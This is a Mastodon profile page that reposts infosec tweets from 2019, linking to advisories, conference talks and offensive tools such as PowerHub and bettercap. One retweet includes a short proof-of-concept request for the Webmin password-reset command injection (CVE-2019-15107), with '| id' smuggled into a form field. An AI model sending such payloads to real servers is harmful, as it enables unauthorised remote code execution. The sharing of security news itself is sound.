Z0vsky @z0vsky@mastodon.tedomum.net
A 100% disruptive über-1337 military-grade next-next-gen deep-analytics full-spectrum crypto-bullshito-cyber quantum-proof apt-blockchain (not CISSP)
Joined Apr 2017
RT @HanseSecure@twitter.com
Bypassing Two-Factor Authentication on Outlook Web Access
#infosec #pentest
http://securityaffairs.co/wordpress/53147/hacking/outlook-web-access.html
🐦🔗: https://twitter.com/HanseSecure/status/1162422703724400640
RT @gabsmashh@twitter.com
a good guide to the basics of offensive lateral movement/pivoting, including psexec, DCOM, WMI, winRM, etc. the guide uses cobaltstrike for most of the demo, which is superrrr fun (albeit noisy) to play with, if you haven't.
https://hausec.com/2019/08/12/offensive-lateral-movement/
🐦🔗: https://twitter.com/gabsmashh/status/1162545788356087808
RT @PythonResponder@twitter.com
Responder 2.3.4.0 upcoming release will be supporting RDP ;)
🐦🔗: https://twitter.com/PythonResponder/status/1162455963401641985
RT @shishi0_@twitter.com
"Webmin 0day remote code execution"
Tl;Dr: Lack of input validation in the reset password function allows RCE (CVE-2019-15107). Over 13 0000 vulnerable on Shodan.
PoC:
/password_reset.cgi
user=root&pam&expired&old=wrong | id
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
RT @TencentTic@twitter.com
Tencent Security Team has worked out a stable POC of CVE-2019-1181/1182. It works on Win7 to Win10. Patch your system as soon as possible. REF:
https://s.tencent.com/research/bsafe/778.html
🐦🔗: https://twitter.com/TencentTic/status/1162197149108408322
RT @huntingmalware@twitter.com
Hey hey hey, bored of infosec marketing bullshit? check our new post! https://blog.huntingmalware.com/notes/DigMine
🐦🔗: https://twitter.com/huntingmalware/status/1162335050320490496
RT @GossiTheDog@twitter.com
“We accept the risk”
2 years later:
🐦🔗: https://twitter.com/GossiTheDog/status/1162084778486697984
RT @gentilkiwi@twitter.com
When your program name is more the new EICAR than a security tool https://twitter.com/ahakcil/status/1161674193353809920
🐦🔗: https://twitter.com/gentilkiwi/status/1161684030108119042
RT @piotrcki@twitter.com
⚠️ Arretez tout et allez mettre à jour vos Windows. ⚠️ (Merci à @ANSSI_FR@twitter.com @CERT_FR@twitter.com)
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2019-ALE-012/
RT @5aelo@twitter.com
In case you missed @natashenka@twitter.com's talk at @BlackHatEvents@twitter.com this week, here is a video showing a remote exploit for one of the iMessage bugs we found: https://youtu.be/E_9kBFKNx54 Be sure to read https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html if you are interested in these kinds of attacks!
RT @PyroTek3@twitter.com
Today at Black Hat @markmorow@twitter.com
& I presented on "Attacking & Defending the Microsoft Cloud."
Slides are now available to download:
https://adsecurity.org/?p=4179
We covered several attacks (& defense): password spray, token theft, password reuse, on-prem cloud integration, & more!
RT @zackwhittaker@twitter.com
Hey @TimiHealth@twitter.com. You might want to check your email. I'm going to hazard a guess and say this is probably not good.
🐦🔗: https://twitter.com/zackwhittaker/status/1158750566765477894
RT @campuscodi@twitter.com
IBM X-Force details new "warshipping" technique that relies on criminal groups shipping packages with malicious WiFi equipment within a company's network range, so they can perform wireless attacks on the internal network
https://securityintelligence.com/posts/package-delivery-cybercriminals-at-your-doorstep/
🐦🔗: https://twitter.com/campuscodi/status/1159036994351173634
Captain, we've detected a disturbance in space-time. It's coming from Earth. Someone audited the Kubernetes source • The Register https://www.theregister.co.uk/2019/08/06/kubernetes_security_audit/
RT @evilsocket@twitter.com
You can turn a cheap rpi0w into a plug and play ethernet gadget to upgrade any device to a pentest platform. Nexmon allows monitor mode on the default WiFi running @bettercap@twitter.com and its web UI. Boots in seconds, deauths and gets handshakes like a mf 😬
🐦🔗: https://twitter.com/evilsocket/status/1158024262285975552
RT @_saadk@twitter.com
Interesting: ‘“GitHub knew or should have known that obviously hacked data had been posted to http://GitHub.com,” […] The plaintiffs believe that because Social Security numbers had a fixed format, GitHub should have been able to identify and remove this data’ https://twitter.com/jedisct1/status/1157981338726785025
RT @philofishal@twitter.com
Thanks to @SentinelOne@twitter.com @patrickwardle@twitter.com, my free ebook of How To Reverse #macOS Malware is now available. Learn to set up a safe #Mac test lab, find #malware samples, static + dynamic analysis. eBook is free; tools you need are free. 😁https://go.sentinelone.com/ebook-macos-reversing-malware-registration.html
🐦🔗: https://twitter.com/philofishal/status/1157160645277577217
RT @Hydraze@twitter.com
NIST has released a new document around best practices on MFA/Risk based auth. for e-commerce: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.1800-17.pdf
(Bonus: it aligns with SP-800-63 and is really detailed architecture-wise)
RT @binitamshah@twitter.com
PowerHub : A post exploitation tool based on a web application, focusing on bypassing endpoint protection and application whitelisting : https://github.com/AdrianVollmer/PowerHub/
🐦🔗: https://twitter.com/binitamshah/status/1156911675976691718
RT @jupitersignal@twitter.com
A new @bsdnow@twitter.com is OUT! https://okt.to/ZoTCWB @dragonflybsd@twitter.com Project Update - colo upgrade, future trends, resuming ZFS send, realtime bandwidth terminal graph visualization, fixing telnet fixes, a chapter from the FBI’s history with @openbsd@twitter.com and an OpenSSH vuln.
🐦🔗: https://twitter.com/jupitersignal/status/1156938639684845569
A 100% disruptive über-1337 military-grade next-next-gen deep-analytics full-spectrum crypto-bullshito-cyber quantum-proof apt-blockchain (not CISSP)
Joined Apr 2017
